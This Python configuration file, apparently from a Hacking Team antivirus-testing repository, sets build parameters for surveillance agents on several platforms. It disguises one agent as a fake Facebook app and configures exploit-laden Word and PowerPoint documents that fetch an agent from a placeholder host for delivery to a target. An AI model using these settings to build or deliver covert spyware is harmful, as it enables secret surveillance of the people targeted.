hackedteam/test-av2

View on GitHub
AVMaster/conf/params.py

Summary

Maintainability
D
1 day
Test Coverage
import yaml

params = {}
demo = True

params['blackberry'] = {
    'platform': 'blackberry',
    'binary': {'demo': demo},
    'melt': {'appname': 'facebook',
             'name': 'Facebook Application',
             'desc': 'Applicazione utilissima di social network',
             'vendor': 'face inc',
             'version': '1.2.3'},
    'package': {'type': 'local'}}

params['windows'] = {
    'platform': 'windows',
    'binary': {'demo': demo, 'admin': False},
    'melt': {'scout': True, 'admin': False, 'bit64': True, 'codec': True},
    'sign': {}
}
params['android'] = {
    'platform': 'android',
    'binary': {'demo': demo, 'admin': False},
    'sign': {},
    'melt': {}
}
params['linux'] = {
    'platform': 'linux',
    'binary': {'demo': demo, 'admin': False},
    'melt': {}
}
params['osx'] = {'platform': 'osx',
                 'binary': {'demo': demo, 'admin': True},
                 'melt': {}
}
params['ios'] = {'platform': 'ios',
                 'binary': {'demo': demo},
                 'melt': {}
}

params['exploit'] = {"generate":
                         {"platforms": ["windows"], "binary": {"demo": False, "admin": False}, "exploit": "HT-2012-001",
                          "melt": {"demo": False, "scout": True, "admin": False}}, "platform": "exploit",
                     "deliver": {"user": "USERID"},
                     "melt": {"combo": "txt", "filename": "example.txt", "appname": "agent.exe",
                              "input": "000"}, "factory": {"_id": "000"}
}

params['exploit_docx'] = {"generate":
                              {"platforms": ["windows"], "binary": {"demo": False, "admin": False},
                               "exploit": "HT-2013-002",
                               "melt": {"demo": False, "scout": True, "admin": False}},
                          "platform": "exploit", "deliver": {"user": "USERID"},
                          "melt": {"filename": "example.docx", "appname": "APPNAME", "input": "000",
                                   "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"}
}
params['exploit_ppsx'] = {"generate":
                              {"platforms": ["windows"], "binary": {"demo": False, "admin": False},
                               "exploit": "HT-2013-003",
                               "melt": {"demo": False, "scout": True, "admin": False}},
                          "platform": "exploit", "deliver": {"user": "USERID"},
                          "melt": {"filename": "example.ppsx", "appname": "APPNAME", "input": "000",
                                   "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"}
}
params['exploit_web'] = {"generate":
                             {"platforms": ["windows"], "binary": {"demo": False, "admin": False},
                              "exploit": "HT-2013-002",
                              "melt": {"demo": False, "scout": True, "admin": False}},
                         "platform": "exploit", "deliver": {"user": "USERID"},
                         "melt": {"filename": "example.docx", "appname": "APPNAME", "input": "000",
                                  "url": "http://HOSTNAME/APPNAME"}, "factory": {"_id": "000"}
}

params = {'EXECUTE_VM': [ 'C:/Program Files/Internet Explorer/iexplore.exe', [ 'http://www.facebook.com' ], 40, 40]}

#params = {'TEST': ['START_AGENT', {'CALL': 'SET_DEFAULTS'}, {'CALL': 'PUSH_ASSETS_BUILD'}, {'BUILD': ['elite', 'windows', 'silent']}, {'CHECK_EVIDENCES': ['chat', 'fb']}, 'STOP_AGENT']}

print yaml.dump(params)


y = """
    - EXECUTE_VM:
        - C:/Program Files/Internet Explorer/iexplore.exe
        - ['http://www.facebook.com']
        - 40
        - True
        - True
"""
d = yaml.load(y)
print d
s = d[0]['EXECUTE_VM'][1][0]
print s, type(s)